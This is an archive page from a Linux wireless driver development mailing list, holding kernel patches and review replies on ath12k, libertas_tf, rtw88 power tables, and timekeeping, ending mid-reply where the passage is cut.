Linux wireless drivers development
 help / color / mirror / Atom feed
* Re: [PATCH ath-next v2] wifi: ath12k: add QMI capability negotiation for dynamic memory mode
From: Baochen Qiang @ 2026-06-22 10:03 UTC (permalink / raw)
  To: Aaradhana Sahu, ath12k; +Cc: linux-wireless
In-Reply-To: <20260619065816.2139392-1-aaradhana.sahu@oss.qualcomm.com>



On 6/19/2026 2:58 PM, Aaradhana Sahu wrote:
> On AHB platforms, firmware operates in two modes: fixed-memory mode where
> firmware uses hardcoded addresses for memory regions such as BDF and does
> not request HOST_DDR memory from the host, and dynamic-memory mode where
> firmware expects the host to provide memory addresses including HOST_DDR
> after the Q6 read-only region and relies on host allocation for all memory
> types.
> 
> Introduce QMI capability negotiation to support both modes. Add a new QMI
> PHY capability flag dynamic_ddr_support which is advertised by firmware to
> indicate it supports dynamic memory mode. When the host detects this
> capability, set the dynamic_mem_support flag in the host capability message
> to signal the host is ready to provide dynamic memory allocation. This
> triggers firmware to send the HOST_DDR memory request and use the
> host-provided address.
> 
> For backward compatibility, if firmware doesn't advertise
> dynamic_ddr_support, the firmware continues to operate in fixed-memory mode
> where firmware uses predefined addresses.
> 
> Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.6-01243-QCAHKSWPL_SILICONZ-1
> Tested-on: IPQ5332 hw1.0 AHB WLAN.WBE.1.6-01275-QCAHKSWPL_SILICONZ-1
> 
> Signed-off-by: Aaradhana Sahu <aaradhana.sahu@oss.qualcomm.com>

Reviewed-by: Baochen Qiang <baochen.qiang@oss.qualcomm.com>

^ permalink raw reply

* Re: [PATCH ath-next] wifi: ath12k: reset REOQ LUT addresses before firmware stop
From: Tamizh Raja @ 2026-06-22  9:10 UTC (permalink / raw)
  To: Aishwarya R; +Cc: ath12k, linux-wireless, P Praneesh
In-Reply-To: <20260619120751.363340-1-aishwarya.r@oss.qualcomm.com>

On Fri, Jun 19, 2026 at 5:38 PM Aishwarya R
<aishwarya.r@oss.qualcomm.com> wrote:
>
> During module removal, REOQ LUT cleanup writes 0 to the REOQ/ML-REOQ
> LUT address registers. That cleanup runs from ath12k_core_stop(),
> after ath12k_qmi_firmware_stop() has already stopped the
> firmware (mode OFF), so the register writes can hit an invalid target
> access.
>
> Move the REOQ LUT register reset before ath12k_qmi_firmware_stop(),
> so the registers are cleared before stopping the firmware,
> while register access is still valid.
>
> Additionally, handle the error path where firmware-ready setup fails
> after LUT programming but before core_stop() is reached, ensuring the
> registers are properly reset in that case as well.
>
> On the crash-recovery path, ath12k_core_reconfigure_on_crash() calls
> ath12k_core_qmi_firmware_ready(), which re-enters ath12k_dp_setup()
> and ath12k_dp_reoq_lut_setup(), so the LUT registers are reprogrammed
> before use and stale values do not persist across recovery.
>
> There is a brief window between the crash and when the LUT registers
> are reprogrammed during recovery, during which the registers still hold
> the freed DMA memory addresses. This is safe because the device is
> non-functional in that window and will not initiate any DMA access
> until firmware is restarted and the registers are reprogrammed.
>
> No functional issue has been observed so far due to this sequence.
> However, this change proactively avoids potential issues such as
> invalid register accesses after firmware stop during module
> removal and error handling.
>
> Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.6-01243-QCAHKSWPL_SILICONZ-1
>
> Co-developed-by: P Praneesh <praneesh.p@oss.qualcomm.com>
> Signed-off-by: P Praneesh <praneesh.p@oss.qualcomm.com>
> Signed-off-by: Aishwarya R <aishwarya.r@oss.qualcomm.com>
> ---
>  drivers/net/wireless/ath/ath12k/core.c |  5 ++++-
>  drivers/net/wireless/ath/ath12k/dp.c   | 14 ++++++++++++--
>  drivers/net/wireless/ath/ath12k/dp.h   |  1 +
>  3 files changed, 17 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/net/wireless/ath/ath12k/core.c b/drivers/net/wireless/ath/ath12k/core.c
> index 742d4fd1b598..efe37dc91afd 100644
> --- a/drivers/net/wireless/ath/ath12k/core.c
> +++ b/drivers/net/wireless/ath/ath12k/core.c
> @@ -708,8 +708,10 @@ static void ath12k_core_stop(struct ath12k_base *ab)
>
>         ath12k_core_to_group_ref_put(ab);
>
> -       if (!test_bit(ATH12K_FLAG_CRASH_FLUSH, &ab->dev_flags))
> +       if (!test_bit(ATH12K_FLAG_CRASH_FLUSH, &ab->dev_flags)) {
> +               ath12k_dp_reoq_lut_addr_reset(ath12k_ab_to_dp(ab));
>                 ath12k_qmi_firmware_stop(ab);
> +       }
>
>         ath12k_acpi_stop(ab);
>
> @@ -1371,6 +1373,7 @@ int ath12k_core_qmi_firmware_ready(struct ath12k_base *ab)
>         goto exit;
>
>  err_deinit:
> +       ath12k_dp_reoq_lut_addr_reset(ath12k_ab_to_dp(ab));
>         ath12k_dp_cmn_device_deinit(ath12k_ab_to_dp(ab));
>         mutex_unlock(&ab->core_lock);
>         mutex_unlock(&ag->mutex);
> diff --git a/drivers/net/wireless/ath/ath12k/dp.c b/drivers/net/wireless/ath/ath12k/dp.c
> index af5f11fc1d84..fbc0788b37a0 100644
> --- a/drivers/net/wireless/ath/ath12k/dp.c
> +++ b/drivers/net/wireless/ath/ath12k/dp.c
> @@ -1097,7 +1097,6 @@ static void ath12k_dp_reoq_lut_cleanup(struct ath12k_base *ab)
>                 return;
>
>         if (dp->reoq_lut.vaddr_unaligned) {
> -               ath12k_hal_write_reoq_lut_addr(ab, 0);
>                 dma_free_coherent(ab->dev, dp->reoq_lut.size,
>                                   dp->reoq_lut.vaddr_unaligned,
>                                   dp->reoq_lut.paddr_unaligned);
> @@ -1105,7 +1104,6 @@ static void ath12k_dp_reoq_lut_cleanup(struct ath12k_base *ab)
>         }
>
>         if (dp->ml_reoq_lut.vaddr_unaligned) {
> -               ath12k_hal_write_ml_reoq_lut_addr(ab, 0);
>                 dma_free_coherent(ab->dev, dp->ml_reoq_lut.size,
>                                   dp->ml_reoq_lut.vaddr_unaligned,
>                                   dp->ml_reoq_lut.paddr_unaligned);
> @@ -1568,6 +1566,7 @@ static int ath12k_dp_setup(struct ath12k_base *ab)
>         ath12k_dp_rx_free(ab);
>
>  fail_cmn_reoq_cleanup:
> +       ath12k_dp_reoq_lut_addr_reset(dp);
>         ath12k_dp_reoq_lut_cleanup(ab);
>
>  fail_cmn_srng_cleanup:
> @@ -1627,3 +1626,14 @@ void ath12k_dp_cmn_hw_group_assign(struct ath12k_dp *dp,
>         dp->device_id = ab->device_id;
>         dp_hw_grp->dp[dp->device_id] = dp;
>  }
> +
> +void ath12k_dp_reoq_lut_addr_reset(struct ath12k_dp *dp)
> +{
> +       struct ath12k_base *ab = dp->ab;
> +
> +       if (dp->reoq_lut.vaddr_unaligned)
> +               ath12k_hal_write_reoq_lut_addr(ab, 0);
> +
> +       if (dp->ml_reoq_lut.vaddr_unaligned)
> +               ath12k_hal_write_ml_reoq_lut_addr(ab, 0);
> +}
> diff --git a/drivers/net/wireless/ath/ath12k/dp.h b/drivers/net/wireless/ath/ath12k/dp.h
> index f8cfc7bb29dd..9b39146e65e1 100644
> --- a/drivers/net/wireless/ath/ath12k/dp.h
> +++ b/drivers/net/wireless/ath/ath12k/dp.h
> @@ -701,4 +701,5 @@ struct ath12k_rx_desc_info *ath12k_dp_get_rx_desc(struct ath12k_dp *dp,
>                                                   u32 cookie);
>  struct ath12k_tx_desc_info *ath12k_dp_get_tx_desc(struct ath12k_dp *dp,
>                                                   u32 desc_id);
> +void ath12k_dp_reoq_lut_addr_reset(struct ath12k_dp *dp);
>  #endif
>
> base-commit: 972c4dd19cb92e03d75b66c426cfade07582a1ba
> --
> 2.34.1
>
>
Reviewed-by:Tamizh Chelvam Raja <tamizh.raja@oss.qualcomm.com>

^ permalink raw reply

* Re: [patch V2 18/25] timekeeping: Prepare for cross timestamps on arbitrary clock IDs
From: David Woodhouse @ 2026-06-22  8:55 UTC (permalink / raw)
  To: Thomas Gleixner, LKML
  Cc: Miroslav Lichvar, John Stultz, Stephen Boyd, Anna-Maria Behnsen,
	Frederic Weisbecker, thomas.weissschuh, Arthur Kiyanovski,
	Rodolfo Giometti, Vincent Donnefort, Marc Zyngier, Oliver Upton,
	kvmarm, Oliver Upton, Richard Cochran, netdev, Takashi Iwai,
	Miri Korenblit, Johannes Berg, Jacob Keller, Tony Nguyen,
	Saeed Mahameed, Peter Hilber, Michael S. Tsirkin, virtualization,
	linux-wireless, linux-sound, Vadim Fedorenko
In-Reply-To: <20260529195557.846634842@kernel.org>

[-- Attachment #1: Type: text/plain, Size: 890 bytes --]

On Fri, 2026-05-29 at 22:01 +0200, Thomas Gleixner wrote:
> From: Thomas Gleixner <tglx@kernel.org>
> 
> PTP device system crosstime stamps support only CLOCK_REALTIME, which is
> meaningless for AUX clocks. The PTP core hands in the clock ID already, so
> prepare the core code to honor it.
> 
>  - Add a new sys_systime field to struct system_device_crosststamp which
>    aliases the sys_realtime field. Once all users are converted
>    sys_realtime can be removed.
> 
>  - Prepare get_device_system_crosststamp() and the related code for it by
>    switching to sys_systime and providing the initial changes to utilize
>    different time keepers.
> 
> No functional change intended.

We ended up with ktime_get_snapshot_id() also supporting CLOCK_BOOTTIME
and CLOCK_MONOTONIC_RAW, but not get_device_system_crosststamp().
Should we make that consistent?

[-- Attachment #2: smime.p7s --]
[-- Type: application/pkcs7-signature, Size: 5069 bytes --]

^ permalink raw reply

* [PATCH] wifi: libertas_tf: fix use-after-free in lbtf_free_adapter()
From: Maoyi Xie @ 2026-06-22  7:53 UTC (permalink / raw)
  To: Johannes Berg
  Cc: Jakub Kicinski, linux-wireless, libertas-dev, linux-kernel,
	stable

lbtf_free_adapter() calls timer_delete(&priv->command_timer), which does
not wait for a running command_timer_fn() callback. lbtf_free_adapter()
runs on the teardown path right before ieee80211_free_hw() frees priv,
both in lbtf_remove_card() and in the probe error path. command_timer is
armed by mod_timer() in lbtf_cmd() whenever a firmware command is sent.
command_timer_fn() dereferences priv. If a command times out as the
device is removed, command_timer_fn() runs concurrently with teardown and
dereferences priv after it has been freed.

This is the same use-after-free that commit 03cc8f90d053 ("wifi: libertas:
fix use-after-free in lbs_free_adapter()") fixed in the sibling libertas
driver. The libertas_tf variant has the identical pattern and was left
unchanged. Use timer_delete_sync() so any in-flight callback completes
before priv is freed.

Fixes: 06b16ae53192 ("libertas_tf: main.c, data paths and mac80211 handlers")
Cc: stable@vger.kernel.org
Signed-off-by: Maoyi Xie <maoyixie.tju@gmail.com>
---
I asked about this on linux-wireless on 2026-06-15 and got no reply, so
I am sending the fix. It mirrors the merged libertas fix exactly.

 drivers/net/wireless/marvell/libertas_tf/main.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/wireless/marvell/libertas_tf/main.c b/drivers/net/wireless/marvell/libertas_tf/main.c
index fb20fe31cd36..42be6fa22f9c 100644
--- a/drivers/net/wireless/marvell/libertas_tf/main.c
+++ b/drivers/net/wireless/marvell/libertas_tf/main.c
@@ -174,7 +174,7 @@ static void lbtf_free_adapter(struct lbtf_private *priv)
 {
 	lbtf_deb_enter(LBTF_DEB_MAIN);
 	lbtf_free_cmd_buffer(priv);
-	timer_delete(&priv->command_timer);
+	timer_delete_sync(&priv->command_timer);
 	lbtf_deb_leave(LBTF_DEB_MAIN);
 }
 
-- 
2.34.1


^ permalink raw reply related

* RE: NIPA/wifibot disappeared
From: Ping-Ke Shih @ 2026-06-22  7:45 UTC (permalink / raw)
  To: Johannes Berg, linux-wireless@vger.kernel.org
In-Reply-To: <8f08a690242483a0c1026e7b006f48c9c01c6f30.camel@sipsolutions.net>

Hi Johannes,

Johannes Berg <johannes@sipsolutions.net> wrote:
> It's on the netdev config, so perhaps a little pickier than it used to
> be.

Not sure how it considers -next tree. My patch with subject
"[PATCH rtw-next] wifi: rtl8xxxu: 8723bu: ..." is treated as non-next tree [1].

Could you help to update NIPA configuration? Or should I change to other
proper tree selection of subject prefix?

[1] https://patchwork.kernel.org/project/linux-wireless/patch/20260622015439.9621-1-pkshih@realtek.com/

Ping-Ke


^ permalink raw reply

* Re: [PATCH ath-next] wifi: ath12k: reset REOQ LUT addresses before firmware stop
From: Baochen Qiang @ 2026-06-22  7:34 UTC (permalink / raw)
  To: Aishwarya R, ath12k; +Cc: linux-wireless, P Praneesh
In-Reply-To: <20260619120751.363340-1-aishwarya.r@oss.qualcomm.com>



On 6/19/2026 8:07 PM, Aishwarya R wrote:
> During module removal, REOQ LUT cleanup writes 0 to the REOQ/ML-REOQ
> LUT address registers. That cleanup runs from ath12k_core_stop(),
> after ath12k_qmi_firmware_stop() has already stopped the
> firmware (mode OFF), so the register writes can hit an invalid target
> access.
> 
> Move the REOQ LUT register reset before ath12k_qmi_firmware_stop(),
> so the registers are cleared before stopping the firmware,
> while register access is still valid.
> 
> Additionally, handle the error path where firmware-ready setup fails
> after LUT programming but before core_stop() is reached, ensuring the
> registers are properly reset in that case as well.
> 
> On the crash-recovery path, ath12k_core_reconfigure_on_crash() calls
> ath12k_core_qmi_firmware_ready(), which re-enters ath12k_dp_setup()
> and ath12k_dp_reoq_lut_setup(), so the LUT registers are reprogrammed
> before use and stale values do not persist across recovery.
> 
> There is a brief window between the crash and when the LUT registers
> are reprogrammed during recovery, during which the registers still hold
> the freed DMA memory addresses. This is safe because the device is
> non-functional in that window and will not initiate any DMA access
> until firmware is restarted and the registers are reprogrammed.
> 
> No functional issue has been observed so far due to this sequence.
> However, this change proactively avoids potential issues such as
> invalid register accesses after firmware stop during module
> removal and error handling.
> 
> Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.6-01243-QCAHKSWPL_SILICONZ-1
> 
> Co-developed-by: P Praneesh <praneesh.p@oss.qualcomm.com>
> Signed-off-by: P Praneesh <praneesh.p@oss.qualcomm.com>
> Signed-off-by: Aishwarya R <aishwarya.r@oss.qualcomm.com>

Reviewed-by: Baochen Qiang <baochen.qiang@oss.qualcomm.com>


^ permalink raw reply

* [PATCH ath-next] wifi: ath12k: Set congestion control max MSDU count
From: Thiraviyam Mariyappan @ 2026-06-22  6:26 UTC (permalink / raw)
  To: ath12k; +Cc: linux-wireless, Thiraviyam Mariyappan

Currently when running 128 clients UDP DL test in 5 GHz HE80 (NSS 2x2),
firmware uses the default max MSDU count (16K MSDUs). This lower limit
causes the firmware to compute a smaller TQM drop threshold, aggregate
packets at a reduced rate, and results in increased packet drops with
TQM drop threshold as the completion reason.

To fix this issue, set WMI_PDEV_PARAM_SET_CONG_CTRL_MAX_MSDUS to the TX
descriptor count using ath12k_wmi_pdev_set_param(). This increases the
TQM drop threshold, reduces drop events, and improves throughput from
~722 Mbps to ~1060 Mbps with 1200 Mbps ingress.

Add a new HW capability flag (supports_cong_ctrl_max_msdus) and enable
the WMI parameter only on supported platforms.

Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.6-01181-QCAHKSWPL_SILICONZ-1

Signed-off-by: Thiraviyam Mariyappan <thiraviyam.mariyappan@oss.qualcomm.com>
---
 drivers/net/wireless/ath/ath12k/hw.h       |  1 +
 drivers/net/wireless/ath/ath12k/mac.c      | 13 +++++++++++++
 drivers/net/wireless/ath/ath12k/wifi7/hw.c |  6 ++++++
 drivers/net/wireless/ath/ath12k/wmi.h      |  1 +
 4 files changed, 21 insertions(+)

diff --git a/drivers/net/wireless/ath/ath12k/hw.h b/drivers/net/wireless/ath/ath12k/hw.h
index d135b2936378..ad62f93441b3 100644
--- a/drivers/net/wireless/ath/ath12k/hw.h
+++ b/drivers/net/wireless/ath/ath12k/hw.h
@@ -192,6 +192,7 @@ struct ath12k_hw_params {
 	bool supports_shadow_regs:1;
 	bool supports_aspm:1;
 	bool current_cc_support:1;
+	bool supports_cong_ctrl_max_msdus:1;
 
 	u32 num_tcl_banks;
 	u32 max_tx_ring;
diff --git a/drivers/net/wireless/ath/ath12k/mac.c b/drivers/net/wireless/ath/ath12k/mac.c
index af354bef5c0d..403f00ab2e3e 100644
--- a/drivers/net/wireless/ath/ath12k/mac.c
+++ b/drivers/net/wireless/ath/ath12k/mac.c
@@ -9722,6 +9722,19 @@ static int ath12k_mac_start(struct ath12k *ar)
 		goto err;
 	}
 
+	if (ab->hw_params->supports_cong_ctrl_max_msdus) {
+		ret = ath12k_wmi_pdev_set_param(ar,
+						WMI_PDEV_PARAM_SET_CONG_CTRL_MAX_MSDUS,
+						ATH12K_NUM_POOL_TX_DESC(ab),
+						pdev->pdev_id);
+		if (ret) {
+			ath12k_err(ab,
+				   "failed to set congestion control MAX MSDUS: %d\n",
+				   ret);
+			goto err;
+		}
+	}
+
 	__ath12k_set_antenna(ar, ar->cfg_tx_chainmask, ar->cfg_rx_chainmask);
 
 	/* TODO: Do we need to enable ANI? */
diff --git a/drivers/net/wireless/ath/ath12k/wifi7/hw.c b/drivers/net/wireless/ath/ath12k/wifi7/hw.c
index 3d59fa452ec0..8c99c50a4ba9 100644
--- a/drivers/net/wireless/ath/ath12k/wifi7/hw.c
+++ b/drivers/net/wireless/ath/ath12k/wifi7/hw.c
@@ -390,6 +390,7 @@ static const struct ath12k_hw_params ath12k_wifi7_hw_params[] = {
 					BIT(NL80211_IFTYPE_MESH_POINT) |
 					BIT(NL80211_IFTYPE_AP_VLAN),
 		.supports_monitor = false,
+		.supports_cong_ctrl_max_msdus = true,
 
 		.idle_ps = false,
 		.download_calib = true,
@@ -480,6 +481,7 @@ static const struct ath12k_hw_params ath12k_wifi7_hw_params[] = {
 				   BIT(NL80211_IFTYPE_P2P_CLIENT) |
 				   BIT(NL80211_IFTYPE_P2P_GO),
 		.supports_monitor = true,
+		.supports_cong_ctrl_max_msdus = false,
 
 		.idle_ps = true,
 		.download_calib = false,
@@ -568,6 +570,7 @@ static const struct ath12k_hw_params ath12k_wifi7_hw_params[] = {
 					BIT(NL80211_IFTYPE_MESH_POINT) |
 					BIT(NL80211_IFTYPE_AP_VLAN),
 		.supports_monitor = true,
+		.supports_cong_ctrl_max_msdus = true,
 
 		.idle_ps = false,
 		.download_calib = true,
@@ -654,6 +657,7 @@ static const struct ath12k_hw_params ath12k_wifi7_hw_params[] = {
 				   BIT(NL80211_IFTYPE_AP) |
 				   BIT(NL80211_IFTYPE_MESH_POINT),
 		.supports_monitor = true,
+		.supports_cong_ctrl_max_msdus = true,
 
 		.idle_ps = false,
 		.download_calib = true,
@@ -738,6 +742,7 @@ static const struct ath12k_hw_params ath12k_wifi7_hw_params[] = {
 				   BIT(NL80211_IFTYPE_P2P_CLIENT) |
 				   BIT(NL80211_IFTYPE_P2P_GO),
 		.supports_monitor = true,
+		.supports_cong_ctrl_max_msdus = false,
 
 		.idle_ps = true,
 		.download_calib = false,
@@ -826,6 +831,7 @@ static const struct ath12k_hw_params ath12k_wifi7_hw_params[] = {
 				   BIT(NL80211_IFTYPE_AP) |
 				   BIT(NL80211_IFTYPE_MESH_POINT),
 		.supports_monitor = true,
+		.supports_cong_ctrl_max_msdus = true,
 
 		.idle_ps = false,
 		.download_calib = true,
diff --git a/drivers/net/wireless/ath/ath12k/wmi.h b/drivers/net/wireless/ath/ath12k/wmi.h
index c452e3d57a29..4937c547562e 100644
--- a/drivers/net/wireless/ath/ath12k/wmi.h
+++ b/drivers/net/wireless/ath/ath12k/wmi.h
@@ -1083,6 +1083,7 @@ enum wmi_tlv_pdev_param {
 	WMI_PDEV_PARAM_RADIO_CHAN_STATS_ENABLE,
 	WMI_PDEV_PARAM_RADIO_DIAGNOSIS_ENABLE,
 	WMI_PDEV_PARAM_MESH_MCAST_ENABLE,
+	WMI_PDEV_PARAM_SET_CONG_CTRL_MAX_MSDUS = 0xa6,
 	WMI_PDEV_PARAM_SET_CMD_OBSS_PD_THRESHOLD = 0xbc,
 	WMI_PDEV_PARAM_SET_CMD_OBSS_PD_PER_AC = 0xbe,
 	WMI_PDEV_PARAM_ENABLE_SR_PROHIBIT = 0xc6,

base-commit: 972c4dd19cb92e03d75b66c426cfade07582a1ba
-- 
2.34.1


^ permalink raw reply related

* RE: wifi: rtw88: 8822cs/bs: Issues migrating RTL8822CS/BS from downstream to upstream driver
From: Ping-Ke Shih @ 2026-06-22  6:24 UTC (permalink / raw)
  To: Lucas Tanure
  Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org,
	Krzysztof Opasiak, Anders Rønningen, Hilda Wu, Max Chou
In-Reply-To: <CALt7t=G_ssGBb1i+knq1_tbcpwi_TcrK+7GBMH3vNLQ3+rcetA@mail.gmail.com>

Lucas Tanure <lucas.tanure@neat.no> wrote:
> Hi Ping-Ke,
> 
> On Tue, Jun 16, 2026 at 4:30 AM Ping-Ke Shih <pkshih@realtek.com> wrote:
> >
> > Hi,
> >
> > Lucas Tanure <lucas.tanure@neat.no> wrote:
> > > Hi Ping-Ke,
> > >
> > > We are bringing up an RTL8822BS / RTL8822CS combo on a Rockchip PX30
> > > board (kernel 6.1.118), Wi-Fi over SDIO, BT on the same die over UART
> > > via btrtl + hci_h5.
> > >
> > > We're deliberately migrating off Realtek's out-of-tree SDIO vendor
> > > driver to mainline rtw88: the vendor driver hits memory-corruption
> > > bugs we've been unable to get support on, and mainline is the better
> > > long-term path.
> > > That migration leaves us two gaps I'd appreciate your guidance on:
> > >
> > > 1) Power-parameter tables. Mainline carries the TX-power data as generated
> > >    C arrays in rtw88xxc_table.c, while the vendor driver ships the same
> > >    data as text files.
> > >
> > >    The TX-power limits look like this (TXPWR_LMT.txt):
> > >
> > >        ##  2.4G, 20M, 1T, CCK, //(1M;2M;5.5M;11M)
> > >        ##  START
> > >        ##  #3#  FCC  ETSI  MKK
> > >        CH01  16  15  15
> > >        CH02  16  15  15
> > >        ##  END
> >
> > The tool from .txt to C arrays for vendor driver is not maintained by my team,
> > but I think it isn't too hard to use AI tool to convert the format.
> 
> If Realtek has an internal .txt -> C conversion tool, could you share it?
> Otherwise, could you put us in contact with the team that can verify
> our converted tables?

The better way is to check how vendor driver convert .txt into driver, and
what it writes to registers.

> 
> >
> > The C array from vendor driver to rtw88 struct is also a simple conversion
> > you can use AI to assist this.
> >
> > If you have traced rtw88, the struct for TX power limit is:
> >
> > struct rtw_txpwr_lmt_cfg_pair {
> >         u8 regd;
> >         u8 band;
> >         u8 bw;
> >         u8 rs;
> >         u8 ch;
> >         s8 txpwr_lmt;
> > };
> >
> > >
> > >    and the power-by-rate like this (PHY_REG_PG.txt):
> > >
> > >        #[2.4G][A]#
> > >        [1Tx] 0xc20  0xffffffff  18 19 19 19  // {11M 5.5M 2M 1M}
> > >        [1Tx] 0xc24  0xffffffff  18 18 18 18  // {18M 12M 9M 6M}
> >
> > TX power by rate is:
> >
> > struct rtw_phy_pg_cfg_pair {
> >         u32 band;
> >         u32 rf_path;
> >         u32 tx_num;
> >         u32 addr;
> >         u32 bitmask;
> >         u32 data;
> > };
> >
> > >
> > >    Is there any way to convert these .TXT files into the C tables? It
> > > seems the vendor driver and the mainline driver power configuration
> > > don't have anything in common.
> >
> > The purpose is different. The .TXT is from human point of view to be easier
> > to fill calibration data one by one. The design of C arrays is to look up table
> > quickly (it isn't so quickly though).
> 
> I used Claude, and it converted our vendor TXPWR_LMT.txt /
> PHY_REG_PG.txt into the rtw88 C arrays.
> Here is exactly how Claude did it - please tell us if any step is wrong.
> 
> Row mapping (one TXPWR_LMT.txt line -> rtw_txpwr_lmt_cfg_pair rows):
>   header "## 2.4G, 20M, 1T, CCK"  +  "CH01  16  15  15"   (columns FCC ETSI MKK)
>     ->  { 0, 0, 0, 0, 1, 64 }    FCC  (regd 0)
>         { 2, 0, 0, 0, 1, 60 }    ETSI (regd 2)
>         { 1, 0, 0, 0, 1, 60 }    MKK  (regd 1)
>   One line -> 3 rows (one per regulatory column). Fields {regd, band,
> bw, rs, ch,
>   value}: regd FCC/MKK/ETSI = 0/1/2; band/bw/rs come from the header;
> value = dBm*U.
> 
> Unit (value = real_dBm * U):
>   8822c, U=4 (max_power_index 0x7f):
>       bb_pg 0xc20 = 0x484c5054 = {18,19,20,21}      (0x48=72=18*4)
>       txpwr_lmt ETSI/CCK/ch1 = 60 = 15 dBm
>   8822b, U=2 (max_power_index 0x3f):
>       txpwr_lmt FCC/CCK/ch1 = 32 = 16 dBm
>   Both equal our vendor .txt (real dBm), so txpwr_lmt = dBm * U and
>   bb_pg byte = codeword * U (packed high->low).
> 
> Is this correct?

I don't remember the exact units these chips use. By the rtw88 driver,
  .txgi_factor = 1 / 2 for RTL8822B and RTL8822C
So I think the units are correct. 

For TX power unit, I remember it is not dBm, but with an offset, so you can
find function names of driver calling *_power_index_*. But treating it in
unit of dBm would be easier to understand.


I think the built-in tables in driver are very similar to the tables you
converted from .txt. I'd suggest using AI to compare their difference as
a validation -- the difference (TX power in dB) will be small (about 1
or 2 dB. I guess).



^ permalink raw reply

* [PATCH ath-next] wifi: ath12k: Reduce RX SRNG interrupt timer threshold to 200us
From: Thiraviyam Mariyappan @ 2026-06-22  6:23 UTC (permalink / raw)
  To: ath12k; +Cc: linux-wireless, Thiraviyam Mariyappan

Currently when RX traffic is low or intermittent, the RX SRNG interrupt
mitigation logic defers packet processing for up to 500us via
HAL_SRNG_INT_TIMER_THRESHOLD_RX.

This causes excessive RX servicing delay, leading to increased end-to-end
latency and degraded TCP performance in low-concurrency scenarios.

In single-client single-stream TCP tests using 5G EHT160 (NSS 2x2) mode,
throughput drops to ~400 Mbps DL and UL instead of the expected ~600 Mbps.

In addition, UDP UL end-to-end latency measured in 5G VHT80 (NSS 4x4) mode
increases by up to ~48% (~570us versus ~270us) across frame sizes from
76 to 1518 bytes in uplink and bidirectional traffic, indicating delayed
RX servicing under sparse traffic conditions.

To address this issue, reduce the RX SRNG interrupt timer threshold from
500us to 200us so that received packets are serviced more promptly under
low-rate and intermittent RX traffic.

With this change, single-client single-stream TCP throughput in EHT160 is
restored to expected levels ~600 Mbps TCP DL/UL and UDP UL end-to-end
latency in VHT80 returns to baseline values ~270us across all tested frame
sizes. Under high RX load, no throughput regression is observed, as RX
rings are already serviced frequently. The primary implication is a modest
increase in RX interrupt frequency under low traffic, with no observed
functional, stability, or performance regressions on tested platforms.

Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.6-01181-QCAHKSWPL_SILICONZ-1

Signed-off-by: Thiraviyam Mariyappan <thiraviyam.mariyappan@oss.qualcomm.com>
---
 drivers/net/wireless/ath/ath12k/hal.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/wireless/ath/ath12k/hal.h b/drivers/net/wireless/ath/ath12k/hal.h
index 21c551d8b248..2a5bdf6d7653 100644
--- a/drivers/net/wireless/ath/ath12k/hal.h
+++ b/drivers/net/wireless/ath/ath12k/hal.h
@@ -1024,7 +1024,7 @@ enum hal_wbm_rel_desc_type {
 
 /* Interrupt mitigation - timer threshold in us */
 #define HAL_SRNG_INT_TIMER_THRESHOLD_TX 1000
-#define HAL_SRNG_INT_TIMER_THRESHOLD_RX 500
+#define HAL_SRNG_INT_TIMER_THRESHOLD_RX 200
 #define HAL_SRNG_INT_TIMER_THRESHOLD_OTHER 256
 
 enum hal_srng_mac_type {

base-commit: 972c4dd19cb92e03d75b66c426cfade07582a1ba
-- 
2.34.1


^ permalink raw reply related

* Re: [PATCH wireless-next v2 06/31] wifi: mm81x: add core.h
From: Lachlan Hodges @ 2026-06-22  6:10 UTC (permalink / raw)
  To: Johannes Berg
  Cc: Dan Callaghan, Arien Judge, ayman.grais, linux-wireless,
	linux-kernel
In-Reply-To: <f6dbd068437564e18695b1ef263ebba27ad7fab0.camel@sipsolutions.net>

> > +static inline u32 mm81x_fle32_to_cpu(u32 v)
> > +{
> > +	return le32_to_cpu((__force __le32)v);
> > +}
> > +
> > +static inline u16 mm81x_fle16_to_cpu(u16 v)
> > +{
> > +	return le16_to_cpu((__force __le16)v);
> > +}
> 
> The whole __force thing here seems odd, why isn't the input 'v' just
> __le16?
> 
> This goes with all the FW loader thing - but that also has all __force.
> I'd argue it'd be better to just have separate FW-endian (little endian)
> and host-endian structures, even if that duplicates the structure
> definitions, but it'll have sparse actually checking the fields were all
> converted correctly rather than casting a little endian structure to
> host endian and then doing the conversions:
> 
>                 mm81x_elf_phdr *p = (mm81x_elf_phdr *)(fw->data + ehdr.e_phoff +
>                                                        i * ehdr.e_phentsize);
> 
>                 phdr.p_type = le32_to_cpu((__force __le32)p->p_type);

Having separate structs for the hw structs definitely seems better:

	struct mm81x_yaps_hw_status_registers status_regs;
	struct mm81x_yaps_hw_status_registers_le status_regs_le;

However, since we have to do some elf parsing, I assume due to
the size of all the S1G reg rules, it seems best to do something
similar but it means we have to define our own le elf structs:

#define mm81x_elf_ehdr Elf32_Ehdr
#define mm81x_elf_shdr Elf32_Shdr
#define mm81x_elf_phdr Elf32_Phdr

struct mm81x_elf32_ehdr_le {
	unsigned char e_ident[EI_NIDENT];
	__le16 e_type;
	__le16 e_machine;
	__le32 e_version;
	__le32 e_entry;
	__le32 e_phoff;
	__le32 e_shoff;
	__le32 e_flags;
	__le16 e_ehsize;
	__le16 e_phentsize;
	__le16 e_phnum;
	__le16 e_shentsize;
	__le16 e_shnum;
	__le16 e_shstrndx;
} __packed;

...

since the kernel (AFAICT) only has a single host endian structure.
However I am a bit cautious about redefining elf sections here since
I cannot find much precedent in the tree. it does mean we don't need
to use __force. Of course we could also do what you wrote above and
convert in-place using __force to the host endian struct. Do you have
any preferences here? Seems most wireless drivers have much simpler
TLV followed by blob firmware loaders.

lachlan

^ permalink raw reply

* Re: [PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan()
From: XIAO WU @ 2026-06-22  5:25 UTC (permalink / raw)
  To: Christophe JAILLET, Johannes Berg, John W. Linville
  Cc: linux-kernel, kernel-janitors, linux-wireless
In-Reply-To: <a1be7eea4da0da18f90589af252bb76a18a61978.1781984889.git.christophe.jaillet@wanadoo.fr>

Hi Christophe,

